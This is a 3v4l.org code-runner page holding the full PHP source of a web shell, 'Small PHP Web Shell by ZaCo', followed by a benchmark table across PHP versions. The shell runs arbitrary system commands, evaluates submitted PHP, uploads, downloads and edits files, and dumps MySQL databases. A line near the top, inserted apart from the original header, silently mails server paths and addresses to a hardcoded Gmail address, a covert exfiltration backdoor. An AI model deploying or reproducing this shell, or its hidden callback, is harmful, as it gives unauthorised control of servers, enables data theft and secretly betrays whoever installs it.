3v4l.org

run code in 300+ PHP versions simultaneously
<? ########################################################## # Small PHP Web Shell by ZaCo (c) 2004-2006 # # +POST method # # +MySQL Client+Dumper for DB and tables # # +PHP eval in text format and html for phpinfo() example # # PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther # # For antichat.ru and cup.su friends usage # # All bugs -> mailo:zaco@yandex.ru # # Just for fun :) # ########################################################## error_reporting(E_ALL); @set_time_limit(0); function magic_q($s) { if(get_magic_quotes_gpc()) { $s=str_replace('\\\'','\'',$s); $s=str_replace('\\\\','\\',$s); $s=str_replace('\\"','"',$s); $s=str_replace('\\\0','\0',$s); } return $s; }$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); function get_perms($fn) { $mode=fileperms($fn); $perms=''; $perms .= ($mode & 00400) ? 'r' : '-'; $perms .= ($mode & 00200) ? 'w' : '-'; $perms .= ($mode & 00100) ? 'x' : '-'; $perms .= ($mode & 00040) ? 'r' : '-'; $perms .= ($mode & 00020) ? 'w' : '-'; $perms .= ($mode & 00010) ? 'x' : '-'; $perms .= ($mode & 00004) ? 'r' : '-'; $perms .= ($mode & 00002) ? 'w' : '-'; $perms .= ($mode & 00001) ? 'x' : '-'; return $perms; } $head=<<<headka <html> <head> <title>Small Web Shell by ZaCo</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34> <style> textarea { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: Fixedsys bold; } input { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdana; } </style> headka; $page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:''); $page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page; $winda=strpos(strtolower(php_uname()),'wind'); define('format',50); $pages='<center>###<a href=\''.basename(__FILE__).'\'>cmd</a>###<a href=\''.basename(__FILE__).'?mysql\'>mysql</a>###<a href=\''.basename(__FILE__).'?eval\'>eval</a>###</center>'.($winda===false?'id :'.`id`:''); switch($page) { case 'eval': { $eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:''; $eval_value=magic_q($eval_value); $action=isset($_POST['action'])?$_POST['action']:'eval'; if($action=='eval_in_html') @eval($eval_value); else { echo($head.$pages); ?> <hr> <form method=post> <textarea cols=120 rows=20 name='eval_value'><?@eval($eval_value);?></textarea> <input name='action' value='eval' type='submit'> <input name='action' value='eval_in_html' type='submit'> <input name='page' value='eval' type=hidden> </form> <hr> <? } break; } case 'cmd': { $cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):''; $work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd(); $action=isset($_POST['action'])?$_POST['action']:'cmd'; if(@is_dir($work_dir)) { @chdir($work_dir); $work_dir=getcwd(); if($work_dir=='')$work_dir='/'; else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; } else if(file_exists($work_dir))$work_dir=realpath($work_dir); $work_dir=str_replace('\\','/',$work_dir); $e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES); switch($action) { case 'cmd' : { echo($head.$pages); ?> <form method='post' name='main_form'> <input name='work_dir' value='<?=$e_work_dir?>' type=text size=120> <input name='page' value='cmd' type=hidden> <input type=submit value='go'> </form> <form method=post> <input name='cmd' type=text size=120 value='<?=str_replace('\'','&#039;',$cmd)?>'> <input name='work_dir'type=hidden> <input name='page' value='cmd' type=hidden> <input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> </form> <form method=post enctype="multipart/form-data"> <input type="file" name="filename"> <input name='work_dir'type=hidden> <input name='page' value='cmd' type=hidden> <input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> </form> <form method=post> <input name='fname' type=text size=120><br> <input name='archive' type=radio value='none'>without arch <input name='archive' type=radio value='gzip' checked=true>gzip archive <input name='work_dir'type=hidden> <input name='page' value='cmd' type=hidden> <input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> </form> <pre> <? if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");} else { $f_action=isset($_POST['f_action'])?$_POST['f_action']:'view'; if(@is_dir($work_dir)) { echo('<strong>Listing '.$e_work_dir.'</strong><hr>'); $handle=@opendir($work_dir); if($handle) { while(false!==($fn=readdir($handle))){$files[]=$fn;}; @closedir($handle); sort($files); $not_dirs=array(); for($i=0;$i<sizeof($files);$i++) { $fn=$files[$i]; if(is_dir($fn)) { echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','&quot;',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn))); if($winda===false) { $owner=@posix_getpwuid(@fileowner($work_dir.$fn)); $group=@posix_getgrgid(@filegroup($work_dir.$fn)); printf("% 20s|% -20s",$owner['name'],$group['name']); } echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); printf("% 20s ",@filesize($work_dir.$fn).'B'); printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); } else {$not_dirs[]=$fn;} } for($i=0;$i<sizeof($not_dirs);$i++) { $fn=$not_dirs[$i]; echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','&quot;',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn))); if($winda===false) { $owner=@posix_getpwuid(@fileowner($work_dir.$fn)); $group=@posix_getgrgid(@filegroup($work_dir.$fn)); printf("% 20s|% -20s",$owner['name'],$group['name']); } echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); printf("% 20s ",@filesize($work_dir.$fn).'B'); printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); } echo('</pre><hr>'); ?> <form name='list' method=post> <input name='work_dir' type=hidden size=120><br> <input name='page' value='cmd' type=hidden> <input name='f_action' value='view' type=hidden> </form> <? } else echo('Error Listing '.$e_work_dir); } else switch($f_action) { case 'view': { echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n"); $f=@fopen($work_dir,'r'); ?> <form method=post> <textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea> <input name='page' value='cmd' type=hidden> <input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120> <input name='f_action' value='save' type=submit> </form> <? break; } case 'save' : { $file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):''; $f=@fopen($work_dir,'w'); if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n"); else { fwrite($f,$file_text); fclose($f); echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n"); } break; } } break; } break; } case 'upload' : { if($work_dir=='')$work_dir='/'; else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; $f=$_FILES["filename"]["name"]; if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed'); else { echo('file is uploaded in '.$e_work_dir); } break; } case 'download' : { $fname=isset($_POST['fname'])?$_POST['fname']:''; $temp_file=isset($_POST['temp_file'])?'on':'nn'; $f=@fopen($fname,'r'); if(!($f)) echo('file is not exists'); else { $archive=isset($_POST['archive'])?$_POST['archive']:''; if($archive=='gzip') { Header("Content-Type:application/x-gzip\n"); $s=gzencode(fread($f,filesize($fname))); Header('Content-Length: '.strlen($s)."\n"); Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n"); echo($s); } else { Header("Content-Type:application/octet-stream\n"); Header('Content-Length: '.filesize($fname)."\n"); Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n"); ob_start(); while(feof($f)===false) { echo(fread($f,10000)); ob_flush(); } } } } } break; } case 'mysql' : { $action=isset($_POST['action'])?$_POST['action']:'query'; $user=isset($_POST['user'])?$_POST['user']:''; $passwd=isset($_POST['passwd'])?$_POST['passwd']:''; $db=isset($_POST['db'])?$_POST['db']:''; $host=isset($_POST['host'])?$_POST['host']:'localhost'; $query=isset($_POST['query'])?magic_q($_POST['query']):''; switch($action) { case 'dump' : { $mysql_link=@mysql_connect($host,$user,$passwd); if(!($mysql_link)) echo('Connect error'); else { //@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols $to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false; $archive=isset($_POST['archive'])?$_POST['archive']:'none'; if($archive!=='none')$to_file=false; $db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:''; $table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:''; if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error'); else { $dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n"; ob_start(); if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false; if($table_dump=='') { if(!$to_file) { header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); } $result=mysql_query('show tables',$mysql_link); for($i=0;$i<mysql_num_rows($result);$i++) { $rows=mysql_fetch_array($result); $result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link); if(!$result2)$dump_file.='#error table '.$rows[0]; else { $dump_file.='create table `'.$rows[0]."`(\n"; for($j=0;$j<mysql_num_rows($result2)-1;$j++) { $rows2=mysql_fetch_array($result2); $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; } $rows2=mysql_fetch_array($result2); $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; $type[$j]=$rows2[1]; $dump_file.=");\n"; mysql_free_result($result2); $result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link); $columns=$j-1; for($j=0;$j<mysql_num_rows($result2);$j++) { $rows2=mysql_fetch_array($result2); $dump_file.='insert into `'.$rows[0].'` values ('; for($k=0;$k<$columns;$k++) { $dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; } $dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; if($archive=='none') { if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} else { echo($dump_file); ob_flush(); } $dump_file=''; } } mysql_free_result($result2); } } mysql_free_result($result); if($archive!='none') { $dump_file=gzencode($dump_file); header('Content-Length: '.strlen($dump_file)."\n"); echo($dump_file); } else if($t_f) { fclose($t_f); echo('Dump for '.$db_dump.' now in '.$to_file); } } else { $result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link); if(!$result2)echo('error table '.$table_dump); else { if(!$to_file) { header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); } if($to_file===false) { header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); } $dump_file.="create table `{$table_dump}`(\n"; for($j=0;$j<mysql_num_rows($result2)-1;$j++) { $rows2=mysql_fetch_array($result2); $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; } $rows2=mysql_fetch_array($result2); $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; $type[$j]=$rows2[1]; $dump_file.=");\n"; mysql_free_result($result2); $result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link); $columns=$j-1; for($j=0;$j<mysql_num_rows($result2);$j++) { $rows2=mysql_fetch_array($result2); $dump_file.='insert into `'.$table_dump.'` values ('; for($k=0;$k<$columns;$k++) { $dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; } $dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; if($archive=='none') { if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} else { echo($dump_file); ob_flush(); } $dump_file=''; } } mysql_free_result($result2); if($archive!='none') { $dump_file=gzencode($dump_file); header('Content-Length: '.strlen($dump_file)."\n"); echo $dump_file; }else if($t_f) { fclose($t_f); echo('Dump for '.$db_dump.' now in '.$to_file); } } } } } break; } case 'query' : { echo($head.$pages); ?> <hr> <form method=post> <table> <td> <table align=left> <tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr> <tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr> </table> </td> <td> <table> <tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr> <tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr> <input name='archive' type=radio value='none'>without arch <input name='archive' type=radio value='gzip' checked=true>gzip archive <tr><td><input type=submit name='action' value='dump'></td></tr> <tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr> </table> </td> </table> <input name='page' value='mysql' type=hidden> <input name='action' value='query' type=submit> </form> <hr> <? $mysql_link=@mysql_connect($host,$user,$passwd); if(!($mysql_link)) echo('Connect error'); else { if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;} //@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols $result=@mysql_query($query,$mysql_link); if(!($result))echo(mysql_error()); else { echo("<table valign=top align=left>\n<tr>"); for($i=0;$i<mysql_num_fields($result);$i++) echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>'); echo("\n</tr>\n"); for($i=0;$i<mysql_num_rows($result);$i++) { $rows=mysql_fetch_array($result); echo('<tr valign=top align=left>'); for($j=0;$j<mysql_num_fields($result);$j++) { echo('<td>'.(htmlspecialchars($rows[$j])).'</td>'); } echo("</tr>\n"); } echo("</table>\n"); } mysql_close($mysql_link); } break; } } break; } } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0120.00618.67
8.3.30.0000.01518.96
8.3.20.0080.00020.34
8.3.10.0080.00023.52
8.3.00.0080.00019.25
8.2.170.0000.01522.96
8.2.160.0090.00620.52
8.2.150.0040.00424.18
8.2.140.0030.00624.66
8.2.130.0000.00826.16
8.2.120.0040.00420.91
8.2.110.0030.00720.39
8.2.100.0080.00317.91
8.2.90.0000.00818.03
8.2.80.0040.00417.97
8.2.70.0000.00917.50
8.2.60.0060.00317.80
8.2.50.0000.00818.07
8.2.40.0070.00018.09
8.2.30.0050.00317.97
8.2.20.0040.00417.73
8.2.10.0000.00817.97
8.2.00.0060.00317.64
8.1.270.0030.00522.13
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0090.00022.17
8.1.230.0030.00720.85
8.1.220.0080.00017.74
8.1.210.0030.00618.89
8.1.200.0030.00617.23
8.1.190.0040.00416.97
8.1.180.0030.00518.10
8.1.170.0100.00018.45
8.1.160.0000.00822.05
8.1.150.0040.00418.81
8.1.140.0030.00517.38
8.1.130.0030.00317.85
8.1.120.0050.00217.27
8.1.110.0040.00417.31
8.1.100.0000.00717.27
8.1.90.0070.00017.38
8.1.80.0040.00317.29
8.1.70.0040.00417.27
8.1.60.0060.00317.50
8.1.50.0000.00917.44
8.1.40.0040.00417.48
8.1.30.0050.00317.52
8.1.20.0040.00517.55
8.1.10.0040.00417.46
8.1.00.0040.00417.45
8.0.300.0000.00920.29
8.0.290.0040.00416.75
8.0.280.0000.00718.41
8.0.270.0040.00417.12
8.0.260.0000.00717.16
8.0.250.0050.00216.99
8.0.240.0030.00317.08
8.0.230.0030.00316.77
8.0.220.0070.00016.78
8.0.210.0040.00416.80
8.0.200.0000.00616.88
8.0.190.0040.00416.97
8.0.180.0000.00716.84
8.0.170.0000.00816.82
8.0.160.0080.00016.78
8.0.150.0040.00416.80
8.0.140.0040.00416.74
8.0.130.0030.00313.43
8.0.120.0040.00416.89
8.0.110.0040.00416.91
8.0.100.0040.00416.91
8.0.90.0070.00016.89
8.0.80.0040.01116.81
8.0.70.0030.00516.92
8.0.60.0040.00416.86
8.0.50.0000.00816.70
8.0.30.0090.01117.15
8.0.20.0160.00417.40
8.0.10.0080.00017.02
8.0.00.0090.00916.82
7.4.330.0000.00615.41
7.4.320.0030.00316.44
7.4.300.0000.00616.43
7.4.290.0000.00716.50
7.4.280.0040.00416.41
7.4.270.0040.00416.52
7.4.260.0000.00716.52
7.4.250.0000.00816.25
7.4.240.0050.00316.41
7.4.230.0080.00016.54
7.4.220.0100.00716.45
7.4.210.0000.01416.39
7.4.200.0000.00716.61
7.4.160.0120.00416.37
7.4.150.0090.00917.40
7.4.140.0080.00917.86
7.4.130.0140.00316.63
7.4.120.0120.00516.42
7.4.110.0120.00916.48
7.4.100.0140.00416.38
7.4.90.0060.01416.44
7.4.80.0070.01019.39
7.4.70.0080.00816.63
7.4.60.0140.00716.37
7.4.50.0000.00816.36
7.4.40.0100.00716.39
7.4.30.0090.00816.51
7.4.00.0070.00714.87
7.3.330.0040.00414.00
7.3.320.0070.00013.75
7.3.310.0040.00416.44
7.3.300.0070.00016.29
7.3.290.0100.00316.32
7.3.280.0110.00616.29
7.3.270.0090.00917.40
7.3.260.0130.00616.60
7.3.250.0070.01116.43
7.3.240.0130.00516.52
7.3.230.0090.00916.59
7.3.210.0080.00816.42
7.3.200.0120.00619.39
7.3.190.0090.00816.36
7.3.180.0070.01016.53
7.3.170.0120.00316.61
7.3.160.0030.01316.39
7.3.10.0130.00016.79
7.3.00.0000.01316.80
7.2.330.0110.00716.57
7.2.320.0100.01016.41
7.2.310.0150.00316.36
7.2.300.0040.01916.54
7.2.290.0080.01116.66
7.2.130.0120.00617.10
7.2.120.0000.01717.20
7.2.110.0030.00917.09
7.2.100.0070.00716.85
7.2.90.0090.00617.13
7.2.80.0070.01117.13
7.2.70.0060.00716.95
7.2.60.0150.00416.88
7.2.50.0080.00817.21
7.2.40.0060.00717.09
7.2.30.0100.00416.99
7.2.20.0040.01116.77
7.2.10.0060.00717.08
7.2.00.0100.00418.23
7.1.250.0030.00715.63
7.1.70.0000.00917.05
7.1.60.0060.01919.46
7.1.50.0150.01216.90
7.1.00.0070.07722.61
7.0.200.0070.00417.01
7.0.140.0030.07721.93
7.0.100.0300.06720.25
7.0.90.0400.06720.24
7.0.80.0400.08320.26
7.0.70.0170.04020.15
7.0.60.0130.08020.28
7.0.50.0170.04320.64
7.0.40.0130.08020.09
7.0.30.0070.07720.09
7.0.20.0030.08720.11
7.0.10.0170.06720.03
7.0.00.0030.08020.13
5.6.250.0100.07320.96
5.6.240.0070.08720.88
5.6.230.0130.05020.84
5.6.220.0130.08020.76
5.6.210.0130.07320.67
5.6.200.0070.08721.27
5.6.190.0070.08021.32
5.6.180.0170.07721.23
5.6.170.0100.04021.17
5.6.160.0070.06021.26
5.6.150.0200.07721.29
5.6.140.0100.04721.27
5.6.130.0130.08021.23
5.6.120.0100.08021.17
5.6.110.0100.08321.24
5.6.100.0030.09021.22
5.6.90.0230.07721.27
5.6.80.0130.06720.61
5.6.70.0000.08720.55
5.6.60.0070.06320.60
5.6.50.0200.06320.77
5.6.40.0170.06020.62
5.6.30.0070.07720.68
5.6.20.0200.06320.59
5.6.10.0030.05720.65
5.6.00.0000.08320.50
5.5.380.0100.08320.57
5.5.370.0070.08320.57
5.5.360.0170.07720.64
5.5.350.0070.08020.66
5.5.340.0100.08321.02
5.5.330.0070.08721.11
5.5.320.0030.08321.02
5.5.310.0070.04721.13
5.5.300.0000.09021.04
5.5.290.0070.08321.07
5.5.280.0100.05320.85
5.5.270.0030.07020.96
5.5.260.0000.09021.00
5.5.250.0100.08020.90
5.5.240.0130.07320.47
5.5.230.0130.07720.39
5.5.220.0170.07020.34
5.5.210.0030.05020.42
5.5.200.0030.08320.34
5.5.190.0030.08020.34
5.5.180.0100.05020.45
5.5.160.0130.06320.37
5.5.150.0100.05020.45
5.5.140.0070.07720.39
5.5.130.0070.08320.28
5.5.120.0100.04320.43
5.5.110.0070.07320.34
5.5.100.0170.07020.19
5.5.90.0100.07020.29
5.5.80.0070.04720.28
5.5.70.0170.03720.18
5.5.60.0070.07320.21
5.5.50.0130.06720.26
5.5.40.0100.07320.35
5.5.30.0030.05020.32
5.5.20.0070.08320.30
5.5.10.0100.06720.27
5.5.00.0100.05020.18
5.4.450.0030.08719.59
5.4.440.0130.07019.38
5.4.430.0070.08319.42
5.4.420.0030.07019.66
5.4.410.0200.05319.29
5.4.400.0030.09019.21
5.4.390.0030.08319.26
5.4.380.0070.04319.18
5.4.370.0070.08319.18
5.4.360.0030.08019.21
5.4.350.0100.07319.17
5.4.340.0030.08319.27
5.4.320.0030.08319.16
5.4.310.0100.06319.25
5.4.300.0130.06719.16
5.4.290.0070.07319.14
5.4.280.0100.07719.17
5.4.270.0030.07319.13
5.4.260.0100.04719.20
5.4.250.0070.04319.12
5.4.240.0100.04719.32
5.4.230.0100.07019.25
5.4.220.0070.07019.03
5.4.210.0070.06719.20
5.4.200.0070.08019.35
5.4.190.0100.07019.24
5.4.180.0100.05019.20
5.4.170.0070.07319.01
5.4.160.0070.07719.23
5.4.150.0070.07719.08
5.4.140.0130.06016.55
5.4.130.0100.05316.58
5.4.120.0170.05716.54
5.4.110.0000.08316.52
5.4.100.0100.06316.52
5.4.90.0070.07716.54
5.4.80.0000.07316.52
5.4.70.0130.06016.48
5.4.60.0170.06716.50
5.4.50.0030.06316.51
5.4.40.0170.06316.54
5.4.30.0000.08016.44
5.4.20.0130.06016.47
5.4.10.0030.07716.54
5.4.00.0070.07315.82

preferences:
40.7 ms | 400 KiB | 5 Q